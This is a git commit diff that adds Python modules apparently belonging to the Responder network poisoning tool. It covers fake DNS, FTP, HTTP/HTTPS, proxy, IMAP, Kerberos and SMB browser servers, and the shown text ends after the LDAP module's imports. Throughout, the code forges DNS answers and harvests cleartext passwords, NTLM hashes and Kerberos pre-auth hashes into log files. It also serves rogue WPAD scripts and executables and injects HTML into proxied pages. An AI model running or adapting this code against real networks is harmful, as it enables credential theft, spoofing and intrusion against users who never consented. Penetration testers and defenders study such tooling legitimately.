Complete refactoring of responder code, first pass

This commit is contained in:
jrmdev 2015-06-29 22:20:58 +10:00
commit 050edc22f3
43 changed files with 4105 additions and 4722 deletions

203
servers/Browser.py Normal file
View file

@ -0,0 +1,203 @@
import socket
import struct
import settings
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
from SocketServer import BaseRequestHandler
from utils import *
def WorkstationFingerPrint(data):
Role = {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
"\x05\x00" :"Windows 2000",
"\x05\x00" :"Windows XP",
"\x05\x02" :"Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2",
}
return Role[data] if data in Role else False
def RequestType(data):
Type = {
"\x01": 'Host Announcement',
"\x02": 'Request Announcement',
"\x08": 'Browser Election',
"\x09": 'Get Backup List Request',
"\x0a": 'Get Backup List Response',
"\x0b": 'Become Backup Browser',
"\x0c": 'Domain/Workgroup Announcement',
"\x0d": 'Master Announcement',
"\x0e": 'Reset Browser State Announcement',
"\x0f": 'Local Master Announcement',
}
return Type[data] if data in Type else False
def PrintServerName(data, entries):
if entries == 0:
pass
else:
entrieslen = 26*entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
l = []
for x in ServerName:
if WorkstationFingerPrint(x[16:18]):
l.append(x[:16].replace('\x00', '') + '\n [-] Os version is: %s'%(WorkstationFingerPrint(x[16:18])))
else:
l.append(x[:16].replace('\x00', ''))
return l
def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
ParsedNames = PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return ParsedNames
else:
return None
def RAPThisDomain(Client,Domain):
try:
l = []
for x in range(1):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None:
l.append('[Analyze mode LANMAN] ')
l.append('[*] Domain detected on this network:')
for x in PDC:
l.append(' - '+x)
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
if SQL is not None:
l.append('[*] SQL Server detected on Domain %s:'%(Domain))
for x in SQL:
l.append(' - '+x)
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
if WKST is not None:
l.append('[*] Workstations/Servers detected on Domain %s:'%(Domain))
for x in WKST:
l.append(' - '+x)
else:
pass
return text('\n'.join(l))
except:
pass
def RapFinger(Host, Domain, Type):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host,445))
s.settimeout(0.3)
Header = SMBHeader(cmd="\x72",mid="\x01\x00")
Body = SMBNegoData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
s.send(Buffer)
data = s.recv(1024)
# Session Setup AndX Request, Anonymous.
if data[8:10] == "\x72\x00":
Header = SMBHeader(cmd="\x73",mid="\x02\x00")
Body = SMBSessionData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
s.send(Buffer)
data = s.recv(1024)
# Tree Connect IPC$.
if data[8:10] == "\x73\x00":
Header = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
Body = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
s.send(Buffer)
data = s.recv(1024)
# Rap ServerEnum.
if data[8:10] == "\x75\x00":
Header = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
Body = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
s.send(Buffer)
data = s.recv(64736)
# Rap ServerEnum, Get answer and return what we're looking for.
if data[8:10] == "\x25\x00":
s.close()
return ParsePacket(data)
except:
return None
def BecomeBackup(data,Client):
try:
DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:]
ReqType = RequestType(BrowserPacket[0])
if ReqType == "Become Backup Browser":
ServerName = BrowserPacket[1:]
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role = NBT_NS_Role(data[45:48])
if settings.Config.AnalyzeMode:
print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))
print RAPThisDomain(Client, Domain)
except:
pass
def ParseDatagramNBTNames(data,Client):
try:
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if settings.Config.AnalyzeMode:
print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s'%(Client, Name, Role1, Domain, Role2))
print RAPThisDomain(Client, Domain)
except:
pass
class Browser(BaseRequestHandler):
def handle(self):
try:
request, socket = self.request
#print hexdump(request)
if settings.Config.AnalyzeMode:
ParseDatagramNBTNames(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
except Exception:
pass

57
servers/DNS.py Normal file
View file

@ -0,0 +1,57 @@
import re
from packets import DNS_Ans
from SocketServer import BaseRequestHandler
from utils import *
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer.
return True if QueryTypeClass == "\x00\x01\x00\x01" else False
# DNS Server class
class DNS(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
try:
data, soc = self.request
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
buff = DNS_Ans()
buff.calculate(data)
soc.sendto(str(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
except Exception:
pass
# DNS Server TCP Class
class DNSTCP(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None
try:
data = self.request.recv(1024)
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
buff = DNS_Ans()
buff.calculate(data)
self.request.send(str(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
except Exception:
pass

42
servers/FTP.py Normal file
View file

@ -0,0 +1,42 @@
import os
import settings
from SocketServer import BaseRequestHandler
from packets import FTPPacket
from utils import *
class FTP(BaseRequestHandler):
def handle(self):
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "FTP-Clear-Text-Password-%s.txt" % self.client_address[0])
try:
self.request.send(str(FTPPacket()))
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
print text("[FTP] Username : ", color(User, 3, 0))
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(Packet))
data = self.request.recv(1024)
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
print text("[FTP] Password : ", color(Pass, 3, 0))
Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(Packet))
data = self.request.recv(1024)
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
else :
Packet = FTPPacket(Code="502",Message="Command not implemented.")
self.request.send(str(Packet))
data = self.request.recv(1024)
except Exception:
pass

258
servers/HTTP.py Normal file
View file

@ -0,0 +1,258 @@
import os
import struct
import settings
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
from base64 import b64decode, b64encode
from utils import *
from packets import NTLM_Challenge
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
from packets import WPADScript, ServerExeFile, ServeAlwaysExeFile, ServeAlwaysNormalFile
# Parse NTLMv1/v2 hash.
def ParseHTTPHash(data,client):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-NTLMv1-Client-%s.txt" % client)
if PrintData(outfile, User+"::"+HostName):
print text("[HTTP] NTLMv1 Client : %s" % client)
print text("[HTTP] NTLMv1 Hostname : %s" % HostName)
print text("[HTTP] NTLMv1 User : %s" % User)
print text("[HTTP] NTLMv1 Hash : %s" % LMHash+":"+NTHash)
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
WriteData(outfile, WriteHash, User+"::"+HostName)
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-NTLMv2-Client-%s.txt" % client)
if PrintData(outfile,User+"::"+Domain):
print text("[HTTP] NTLMv2 Client : %s" % client)
print text("[HTTP] NTLMv2 Hostname : %s" % HostName)
print text("[HTTP] NTLMv2 User : %s" % Domain+"\\"+User)
print text("[HTTP] NTLMv2 Hash : %s" % NTHash[:32]+":"+NTHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteData(outfile,WriteHash, User+"::"+Domain)
def GrabCookie(data,host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '')
print text("[HTTP] Cookie : %s " % Cookie)
return Cookie
else:
return False
def GrabHost(data,host):
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
print text("[HTTP] Host : %s " % Host)
return Host
else:
return False
def WpadCustom(data, client):
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
if Wpad:
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
Buffer.calculate()
return str(Buffer)
else:
return False
def ServeEXE(data, client, Filename):
print text("[HTTP] Sent file %s to %s" % (Filename, client))
with open (Filename, "rb") as bk:
data = bk.read()
bk.close()
return data
def GrabURL(data, host):
GET = re.findall('(?<=GET )[^HTTP]*', data)
POST = re.findall('(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
if GET:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, ''.join(GET)))
if POST:
print text("[HTTP] POST request from: %-15s URL: %s" % (host, ''.join(POST)))
if len(''.join(POSTDATA)) > 2:
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
# Handle HTTP packet sequence.
def PacketSequence(data,client):
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if settings.Config.Exe_On_Off == True and re.findall('.exe', data):
Buffer = ServerExeFile(Payload = ServeEXE(data,client,settings.Config.HtmlFilename),filename=settings.Config.HtmlFilename)
Buffer.calculate()
return str(Buffer)
if settings.Config.Exec_Mode_On_Off == True:
if settings.Config.Exe_Filename.endswith('.exe'):
Buffer = ServeAlwaysExeFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename),ContentDiFile=settings.Config.Exe_Filename)
Buffer.calculate()
return str(Buffer)
else:
Buffer = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename))
Buffer.calculate()
return str(Buffer)
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == "\x01":
GrabURL(data, client)
GrabHost(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(Buffer))
return str(Buffer_Ans)
if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client)
WPAD_Custom = WpadCustom(data, client)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe)
Buffer.calculate()
return str(Buffer)
if Basic_Auth:
ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client)
GrabHost(data, client)
GrabCookie(data, client)
WPAD_Custom = WpadCustom(data,client)
outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "HTTP-Clear-Text-Password-%s.txt" % client)
if PrintData(outfile, ClearText_Auth):
print text("[HTTP] (Basic) Client : %s" % client)
print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0])
print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1])
WriteData(outfile, ClearText_Auth, ClearText_Auth)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client, 3, 0)
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToServe)
Buffer.calculate()
return str(Buffer)
else:
Response = IIS_Basic_401_Ans() if settings.Config.Basic == True else IIS_Auth_401_Ans()
return str(Response)
# HTTP Server class
class HTTP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(1)
data = self.request.recv(8092)
Buffer = WpadCustom(data, self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer)
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
self.request.send(Buffer)
except socket.error:
pass
# HTTPS Server class
class HTTPS(StreamRequestHandler):
def setup(self):
self.exchange = self.request
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
def handle(self):
try:
while True:
data = self.exchange.recv(8092)
self.exchange.settimeout(0.5)
Buffer = WpadCustom(data,self.client_address[0])
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
Buffer = PacketSequence(data,self.client_address[0])
self.exchange.send(Buffer)
except:
pass
# SSL context handler
class SSLSock(ThreadingMixIn, TCPServer):
def __init__(self, server_address, RequestHandlerClass):
from OpenSSL import SSL
BaseServer.__init__(self, server_address, RequestHandlerClass)
ctx = SSL.Context(SSL.SSLv3_METHOD)
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
ctx.use_privatekey_file(key)
ctx.use_certificate_file(cert)
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
self.server_bind()
self.server_activate()
def shutdown_request(self,request):
try:
request.shutdown()
except:
pass

333
servers/HTTP_Proxy.py Normal file
View file

@ -0,0 +1,333 @@
import os
import settings
import urlparse
import select
import zlib
import BaseHTTPServer
from utils import *
def HandleGzip(Headers, Content, Payload):
if len(Content) > 5:
try:
unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS)
except:
return False
InjectPayload = Payload
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall('(?<=<body)[^<]*', unziped)
if HasBody:
print text("[PROXY] Injecting into HTTP Response : %s" % color(settings.Config.HTMLToServe, 3, 1))
Content = unziped.replace("<body", settings.Config.HTMLToServe +"\n<body")
ziped = zlib.compress(Content)
FinalLen = str(len(ziped))
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+FinalLen)
return Headers+'\r\n\r\n'+ziped
return False
def InjectPage(data, client):
if settings.Config.Exec_Mode_On_Off:
if settings.Config.Exe_Filename.endswith('.exe'):
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename),ContentDiFile=settings.Config.Exe_Filename)
buffer1.calculate()
return str(buffer1)
else:
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,settings.Config.Exe_Filename))
buffer1.calculate()
return str(buffer1)
else:
return data
def InjectData(data):
if len(data.split('\r\n\r\n')) > 1:
try:
Headers, Content = data.split('\r\n\r\n')
except:
return data
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
if [s for s in RedirectCodes if s in Headers]:
return data
if "content-encoding: gzip" in Headers.lower():
Gzip = HandleGzip(Headers, Content, settings.Config.HTMLToServe)
return Gzip if Gzip else data
if "content-type: text/html" in Headers.lower():
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall('(?<=<body)[^<]*', Content)
if HasBody:
print text("[PROXY] Injecting into HTTP Response : %s" % color(settings.Config.HTMLToServe, 3, 1))
NewContent = Content.replace("<body", settings.Config.HTMLToServe +"\n<body")
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(NewContent)))
return Headers+'\r\n\r\n'+NewContent
return data
class ProxySock:
def __init__(self, socket, proxy_host, proxy_port) :
# First, use the socket, without any change
self.socket = socket
# Create socket (use real one)
self.proxy_host = proxy_host
self.proxy_port = proxy_port
# Copy attributes
self.family = socket.family
self.type = socket.type
self.proto = socket.proto
def connect(self, address) :
# Store the real remote adress
(self.host, self.port) = address
# Try to connect to the proxy
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
self.proxy_host,
self.proxy_port,
0, 0, socket.SOL_TCP) :
try:
# Replace the socket by a connection to the proxy
self.socket = socket.socket(family, socktype, proto)
self.socket.connect(sockaddr)
except socket.error, msg:
if self.socket:
self.socket.close()
self.socket = None
continue
break
if not self.socket :
raise socket.error, ms
# Ask him to create a tunnel connection to the target host/port
self.socket.send(
("CONNECT %s:%d HTTP/1.1\r\n" +
"Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port));
# Get the response
resp = self.socket.recv(4096)
# Parse the response
parts = resp.split()
# Not 200 ?
if parts[1] != "200" :
raise Exception("Error response from Proxy server : %s" % resp)
# Wrap all methods of inner socket, without any change
def accept(self) :
return self.socket.accept()
def bind(self, *args) :
return self.socket.bind(*args)
def close(self) :
return self.socket.close()
def fileno(self) :
return self.socket.fileno()
def getsockname(self) :
return self.socket.getsockname()
def getsockopt(self, *args) :
return self.socket.getsockopt(*args)
def listen(self, *args) :
return self.socket.listen(*args)
def makefile(self, *args) :
return self.socket.makefile(*args)
def recv(self, *args) :
return self.socket.recv(*args)
def recvfrom(self, *args) :
return self.socket.recvfrom(*args)
def recvfrom_into(self, *args) :
return self.socket.recvfrom_into(*args)
def recv_into(self, *args) :
return self.socket.recv_into(buffer, *args)
def send(self, *args) :
return self.socket.send(*args)
def sendall(self, *args) :
return self.socket.sendall(*args)
def sendto(self, *args) :
return self.socket.sendto(*args)
def setblocking(self, *args) :
return self.socket.setblocking(*args)
def settimeout(self, *args) :
return self.socket.settimeout(*args)
def gettimeout(self) :
return self.socket.gettimeout()
def setsockopt(self, *args):
return self.socket.setsockopt(*args)
def shutdown(self, *args):
return self.socket.shutdown(*args)
# Return the (host, port) of the actual target, not the proxy gateway
def getpeername(self) :
return (self.host, self.port)
# Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao.
class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
__base = BaseHTTPServer.BaseHTTPRequestHandler
__base_handle = __base.handle
rbufsize = 0
def handle(self):
(ip, port) = self.client_address
self.__base_handle()
def _connect_to(self, netloc, soc):
i = netloc.find(':')
if i >= 0:
host_port = netloc[:i], int(netloc[i+1:])
else:
host_port = netloc, 80
try: soc.connect(host_port)
except socket.error, arg:
try: msg = arg[1]
except: msg = arg
self.send_error(404, msg)
return 0
return 1
def socket_proxy(self):
Proxy = settings.Config.Upstream_Proxy
Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '')
Proxy = Proxy.split(':')
try: Proxy = (Proxy[0], int(Proxy[1]))
except: Proxy = (Proxy[0], 8080)
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
return ProxySock(soc, Proxy[0], Proxy[1])
def do_CONNECT(self):
if settings.Config.Upstream_Proxy:
soc = self.socket_proxy()
else:
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
if self._connect_to(self.path, soc):
self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
self.wfile.write("\r\n")
try:
self._read_write(soc, 300)
except:
pass
finally:
soc.close()
self.connection.close()
def do_GET(self):
(scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http')
if scm not in ('http') or fragment or not netloc:
self.send_error(400, "bad url %s" % self.path)
return
if settings.Config.Upstream_Proxy:
soc = self.socket_proxy()
else:
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
URL_Unparse = urlparse.urlunparse(('', '', path, params, query, ''))
if self._connect_to(netloc, soc):
soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version))
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
print text("[PROXY] Client : %s" % color(self.client_address[0], 3, 0))
print text("[PROXY] Requested URL : %s" % color(self.path, 3, 0))
print text("[PROXY] Cookie : %s" % Cookie)
self.headers['Connection'] = 'close'
del self.headers['Proxy-Connection']
for key_val in self.headers.items():
soc.send("%s: %s\r\n" % key_val)
soc.send("\r\n")
try: self._read_write(soc, netloc)
except: pass
finally:
soc.close()
self.connection.close()
def _read_write(self, soc, netloc='', max_idling=30):
iw = [self.connection, soc]
ow = []
count = 0
while 1:
count += 1
(ins, _, exs) = select.select(iw, ow, iw, 1)
if exs:
break
if ins:
for i in ins:
if i is soc:
out = self.connection
try:
data = i.recv(8192)
if len(settings.Config.HTMLToServe)>5:
data = InjectData(data)
else:
data = InjectPage(data,self.client_address[0])
except:
pass
else:
out = soc
data = i.recv(8192)
if self.command == "POST":
print text("[PROXY] POST Data : %s" % data)
if data:
try:
out.send(data)
count = 0
except:
pass
if count == max_idling:
break
return None
do_HEAD = do_GET
do_POST = do_GET
do_PUT = do_GET
do_DELETE=do_GET

35
servers/IMAP.py Normal file
View file

@ -0,0 +1,35 @@
import os
import settings
from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
# IMAP4 Server class
class IMAP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(IMAPGreeting()))
data = self.request.recv(1024)
if data[5:15] == "CAPABILITY":
RequestTag = data[0:4]
self.request.send(str(IMAPCapability()))
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
data = self.request.recv(1024)
if data[5:10] == "LOGIN":
Credentials = data[10:].strip()
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "IMAP-Clear-Text-Password-%s.txt" % self.client_address[0])
WriteData(Outfile, Credentials, Credentials)
print text("[IMAP] Address : %s" % color(self.client_address[0], 3, 0))
print text("[IMAP] Username : %s" % color(Credentials[0], 3, 0))
print text("[IMAP] Password : %s" % color(Credentials[1], 3, 0))
## FIXME: Close connection properly
## self.request.send(str(ditchthisconnection()))
## data = self.request.recv(1024)
except Exception:
pass

131
servers/Kerberos.py Normal file
View file

@ -0,0 +1,131 @@
import os
import struct
import settings
from SocketServer import BaseRequestHandler
from utils import *
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]
EncType = Data[43:44]
MessageType = Data[32:33]
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[50:51])[0]
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[153:154])[0]
Name = Data[154:154+NameLen]
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[45:46])[0]
if HashLen == 53:
Hash = Data[48:99]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[147:148])[0]
Name = Data[148:148+NameLen]
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18]
EncType = Data[39:40]
if MsgType == "\x0a" and EncType == "\x17":
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54:
Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[144:145])[0]
Name = Data[145:145+NameLen]
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 53:
Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0]
Name = Data[144:144+NameLen]
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[149:150])[0]
Name = Data[150:150+NameLen]
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
class KerbTCP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSKerberos-Client-%s.txt" % self.client_address[0])
print text("[KERBEROS] Address :" % self.client_address[0])
print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
WriteData(Outfile, KerbHash, KerbHash)
except Exception:
raise
class KerbUDP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
Outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSKerberos-Client-%s.txt" % self.client_address[0])
print text("[KERBEROS] Address :" % self.client_address[0])
print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
WriteData(Outfile, KerbHash, KerbHash)
except Exception:
raise

118
servers/LDAP.py Normal file
View file

@ -0,0 +1,118 @@
import os
import struct
import settings
from SocketServer import BaseRequestHandler
